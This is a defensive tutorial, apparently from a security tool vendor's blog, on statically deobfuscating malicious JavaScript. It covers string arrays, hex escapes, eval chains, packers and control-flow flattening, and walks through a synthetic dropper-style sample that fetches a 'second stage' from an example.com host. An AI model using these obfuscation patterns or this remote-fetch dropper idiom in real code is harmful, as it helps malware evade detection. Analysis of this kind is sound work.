Why attackers obfuscate JavaScript

JavaScript runs everywhere an initial access broker wants to be: email attachments, HTML smuggling pages, compromised sites, malicious ads, fake browser updates. Obfuscation serves two goals: evade signature-based detection and slow down human analysts. The good news: obfuscation is mechanical, and mechanical transformations can be reversed mechanically. You rarely need to be clever. You need to be systematic.

Safety first. Everything below is static analysis. Never open a suspicious .js file by double-clicking it (on Windows that hands it to wscript.exe with full user privileges), never paste it into your browser console, and never "just run it to see". If you must execute, do it in an isolated VM with no network. For this article, none of that is needed, and our sample is synthetic and harmless by construction: fully deobfuscated, it prints a console message and fetches a text file from example.com. It exists purely to demonstrate technique.


The patterns you will meet again and again

Pattern What it looks like How to reverse it
String array + rotation _0x4f2a=['c2FtcGxl',...] with an accessor function Decode the array once, substitute references
Hex / unicode escapes "\x66\x65\x74\x63\x68", "f..." Any JS-aware decoder, or a beautifier
String splitting 'eva'+'l', ['f','etch'].join('') Constant folding by hand or tool
eval chains eval(atob('...')), layers deep Replace eval with output capture, layer by layer
Packers eval(function(p,a,c,k,e,d){...}) Classic Dean Edwards packer; unpack, do not run
Control-flow flattening A while(true) loop over a switch driven by a state string Trace the state order, rewrite linearly

Most real samples stack three or four of these. Peel one layer at a time.


The sample

Here is our synthetic dropper-style sample, typical of what falls out of a phishing attachment (see our phishing email analysis guide for getting to this point):

var _0x3fa1 = ['bG9n', 'Y29uc29sZQ==', 'ZmV0Y2g=',
    'aHR0cHM6Ly9maWxlcy5leGFtcGxlLmNvbS91cGRhdGUudHh0',
    'U1lOVEhFVElDIFNBTVBMRSAtIHRyYWluaW5nIG9ubHk='];
var _0x21cb = function (i) { return atob(_0x3fa1[i]); };
var w = this;
var f = w[_0x21cb(2)];
w[_0x21cb(1)][_0x21cb(0)](_0x21cb(4));
f(_0x21cb(3))['then'](function (r) { return r['text'](); });

Unreadable at a glance, which is the point. Let's dismantle it.


Step 1: Beautify before anything else

Real samples arrive minified on one line. Run them through a formatter (Prettier, js-beautify, or the built-in formatting in the free JS deobfuscator on mlab.sh). This changes nothing semantically but restores structure: you can now see there is a data array, an accessor, and a short body.

While you are here, knock out the cheap encodings. Hex and unicode escapes are pure notation, so "\x66\x65\x74\x63\x68" is literally the string fetch, and split strings fold by inspection:

var g = "\x66\x65\x74\x63\x68";          // "fetch"
var h = ['ex','ample','.com'].join('');  // "example.com"
var k = String.fromCharCode(101,118,97,108); // "eval"

Decoding these takes seconds with any converter and often reveals the sample's skeleton before you touch the harder layers. A useful habit: after each decoding pass, grep the intermediate result for eval, Function, atob, fromCharCode, document.write and unescape. Those six identifiers mark where the next layer is hiding.


Step 2: Decode the string array

The array _0x3fa1 holds base64 strings, and _0x21cb is a thin wrapper around atob. Decode each element offline, without executing the sample. A few lines of Python:

import base64
arr = ['bG9n', 'Y29uc29sZQ==', 'ZmV0Y2g=',
       'aHR0cHM6Ly9maWxlcy5leGFtcGxlLmNvbS91cGRhdGUudHh0',
       'U1lOVEhFVElDIFNBTVBMRSAtIHRyYWluaW5nIG9ubHk=']
for i, s in enumerate(arr):
    print(i, base64.b64decode(s).decode())

Output:

0 log
1 console
2 fetch
3 https://files.example.com/update.txt
4 SYNTHETIC SAMPLE - training only

Already the story is visible: the interesting artefacts in almost any sample live in its string table. Even before full deobfuscation, decoded strings hand you IOCs: URLs, domains, file paths, registry keys, process names.

Watch for a common variant: an IIFE near the top that rotates the array (push/shift in a loop) until a checksum matches. If index 3 does not decode to something coherent, the array order has been shuffled and you need to replicate the rotation before substituting.


Step 3: Substitute references

Replace every _0x21cb(n) call with its decoded string, and rename variables as their purpose emerges:

var w = this;                      // global object
var f = w['fetch'];
w['console']['log']('SYNTHETIC SAMPLE - training only');
f('https://files.example.com/update.txt')
    .then(function (r) { return r.text(); });

Bracket notation collapses to dot notation, and the sample is now readable: log a marker, fetch a second-stage payload from a remote server, read it as text. In a real sample, the next line would hand that text to eval or Function(), which brings us to layers.


Step 4: Handling eval chains and packers

Real droppers are nested: layer one decodes and evals layer two, which decodes and evals layer three. The static approach is to capture instead of execute. Wherever the code says eval(x), you compute x yourself (with offline base64/hex decoding, as in step 2) and write the result to a file. That file is the next layer; repeat from step 1.

The Dean Edwards packer deserves special mention because it is everywhere:

eval(function(p,a,c,k,e,d){/* unpacker */}('0.1("2 3")',4,4,
    'console|log|synthetic|sample'.split('|'),0,{}))

The last arguments are a dictionary and a template: the unpacker substitutes dictionary words back into the template. Dedicated unpackers reverse this instantly; the mlab.sh JS deobfuscator recognizes the pattern and unpacks it without executing anything.

Two traps in multi-layer samples:

  • Environment checks. Layers may refuse to decode unless navigator.userAgent, screen size, or timezone match a target. If a decode step depends on such a value, that value is itself intelligence about the targeting.
  • Self-referencing keys. Some layers derive their decryption key from a hash of their own source code, so any modification (even reformatting) breaks decoding. Work on a pristine copy and keep your edits in a separate file.

A note on control-flow flattening

Heavier obfuscators (obfuscator.io and friends) go beyond string tricks and shred the program's logic into a switch statement driven by a shuffled order string:

var order = '3|0|2|1'.split('|'), i = 0;
while (true) {
    switch (order[i++]) {
        case '0': var url = decoded(3); continue;
        case '1': send(data); continue;
        case '2': var data = collect(); continue;
        case '3': var decoded = makeDecoder(); continue;
    }
    break;
}

The execution order is the order string, not the source order: here it runs case 3, then 0, 2, 1. Rewrite the cases in that sequence and the linear program reappears. Tedious by hand for large samples, which is where automated deobfuscators earn their keep, but there is no magic in it: it is still a mechanical transformation with a published inverse.


Step 5: Write down what it does

Deobfuscation is not the deliverable; the analysis is. From our sample:

  • Behavior: retrieves a second stage over HTTPS.
  • IOCs: files.example.com, https://files.example.com/update.txt, plus the hash of the original .js file.
  • Next actions: enrich the domain and URL on mlab.sh, search proxy logs for the URL, and hunt for the file hash across endpoints.

Tooling that earns its place

  • A beautifier (Prettier, js-beautify): always the first pass.
  • The mlab.sh JS deobfuscator (free): beautifies, decodes hex and unicode escapes, resolves string arrays, and unpacks common packers in the browser, with nothing executed and nothing leaving your control until you choose to enrich.
  • Node.js in an isolated VM: for stubborn samples, instrument the code by overriding eval and Function to print their arguments instead of executing. Emulation, not detonation.
  • CyberChef: for one-off base64, XOR and charcode decoding steps.

Skip browser-based "run and see" services for anything sensitive: uploading a targeted sample to a public sandbox can tip off the attacker and leak victim data embedded in the sample.


Obfuscation is a speed bump, not a wall. Beautify, decode the strings, substitute, capture each eval layer, and the script tells you exactly what it was going to do.